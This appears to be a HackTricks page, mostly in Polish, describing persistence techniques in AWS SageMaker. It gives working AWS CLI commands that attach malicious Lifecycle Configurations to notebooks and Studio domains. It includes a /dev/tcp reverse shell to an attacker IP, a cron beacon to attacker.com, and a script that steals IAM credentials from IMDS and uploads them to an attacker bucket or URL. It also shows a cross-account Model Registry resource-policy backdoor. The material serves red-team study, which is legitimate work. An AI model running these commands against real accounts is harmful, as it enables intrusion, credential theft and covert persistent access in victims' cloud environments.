AWS - SageMaker Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Overview of Persistence Techniques

This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in ’VPC-only“ mode.

Tip

Uwaga: SageMaker notebook instances to w zasadzie zarządzane EC2 instances skonfigurowane specjalnie dla zadań związanych z uczeniem maszynowym.

Wymagane uprawnienia

  • Notebook Instances:
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
  • Aplikacje Studio:
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Ustaw Lifecycle Configuration na Notebook Instances

Przykładowe polecenia AWS CLI:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Ustaw Konfigurację cyklu życia w SageMaker Studio

Konfiguracje cyklu życia można dołączać na różnych poziomach i do różnych typów aplikacji w SageMaker Studio.

Poziom domeny Studio (wszyscy użytkownicy)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Poziom Studio Space (indywidualne lub współdzielone Spaces)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Typy konfiguracji cyklu życia aplikacji Studio

Konfiguracje cyklu życia można stosować do różnych typów aplikacji w SageMaker Studio:

  • JupyterServer: Uruchamia skrypty podczas startu serwera Jupyter, idealne dla mechanizmów persistence takich jak reverse shells i cron jobs.
  • KernelGateway: Wykonuje się podczas uruchamiania aplikacji KernelGateway, przydatne do początkowej konfiguracji lub persistent access.
  • CodeEditor: Dotyczy Code Editor (Code-OSS), umożliwiając skrypty, które uruchamiają się przy rozpoczęciu sesji edycji kodu.

Przykładowe polecenie dla każdego typu:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

Edytor kodu

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Krytyczne informacje:

  • Dołączenie LCCs na poziomie domain lub space wpływa na wszystkich użytkowników lub aplikacje w danym zakresie.
  • Wymaga wyższych uprawnień (sagemaker:UpdateDomain, sagemaker:UpdateSpace); zazwyczaj łatwiej wykonać na poziomie space niż domain.
  • Kontrole na poziomie sieci (np. ścisłe filtrowanie egress) mogą zapobiec udanym reverse shells lub data exfiltration.

Reverse Shell przez Lifecycle Configuration

SageMaker Lifecycle Configurations (LCCs) uruchamiają niestandardowe skrypty przy starcie notebook instances. Atakujący z odpowiednimi uprawnieniami może ustanowić trwały reverse shell.

Payload Example:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence przez Lifecycle Configuration

Atakujący może wstrzykiwać cron jobs za pomocą skryptów LCC, zapewniając okresowe wykonywanie złośliwych skryptów lub poleceń, umożliwiając ukrytą persistence.

Przykład Payload:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Eksfiltracja poświadczeń przez IMDS (v1 & v2)

Lifecycle configurations mogą odpytać Instance Metadata Service (IMDS) w celu pobrania poświadczeń IAM i ich eksfiltracji do lokalizacji kontrolowanej przez atakującego.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

Utrzymanie dostępu przez politykę zasobu Model Registry (PutModelPackageGroupPolicy)

Nadużyj polityki opartej na zasobie na SageMaker Model Package Group, aby przyznać zewnętrznemu podmiotowi uprawnienia międzykontowe (np. CreateModelPackage/Describe/List). To tworzy trwałe tylne drzwi, które umożliwiają wypychanie zainfekowanych wersji modeli lub odczyt metadanych/artfaktów modelu nawet jeśli IAM user/rola atakującego w koncie ofiary zostanie usunięta.

Required permissions

  • sagemaker:CreateModelPackageGroup
  • sagemaker:PutModelPackageGroupPolicy
  • sagemaker:GetModelPackageGroupPolicy

Kroki (us-east-1)

# 1) Create a Model Package Group
REGION=${REGION:-us-east-1}
MPG=atk-mpg-$(date +%s)
aws sagemaker create-model-package-group \
--region "$REGION" \
--model-package-group-name "$MPG" \
--model-package-group-description "Test backdoor"

# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
cat > /tmp/mpg-policy.json <<JSON
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowCrossAccountCreateDescribeList",
"Effect": "Allow",
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
"Action": [
"sagemaker:CreateModelPackage",
"sagemaker:DescribeModelPackage",
"sagemaker:DescribeModelPackageGroup",
"sagemaker:ListModelPackages"
],
"Resource": [
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
]
}
]
}
JSON

# 3) Attach the policy to the group
aws sagemaker put-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"

# 4) Retrieve the policy (evidence)
aws sagemaker get-model-package-group-policy \
--region "$REGION" \
--model-package-group-name "$MPG" \
--query ResourcePolicy --output text

Uwagi

  • Dla prawdziwego cross-account backdoor ogranicz Resource do konkretnego group ARN i użyj attacker’s AWS account ID w Principal.
  • Dla end-to-end cross-account deployment lub odczytów artifact, dopasuj uprawnienia S3/ECR/KMS do attacker account.

Wpływ

  • Persistent cross-account control of a Model Registry group: attacker może publikować złośliwe wersje modeli lub enumerate/read model metadata nawet po usunięciu ich IAM entities w victim account.

Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)

Wykorzystaj ustawienia użytkownika SageMaker Canvas, aby cicho przekierować zapisy model registry do konta kontrolowanego przez attacker, włączając ModelRegisterSettings i wskazując CrossAccountModelRegisterRoleArn na rolę attacker w innym koncie.

Wymagane uprawnienia

  • sagemaker:UpdateUserProfile on the target UserProfile
  • Opcjonalnie: sagemaker:CreateUserProfile on a Domain you control

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks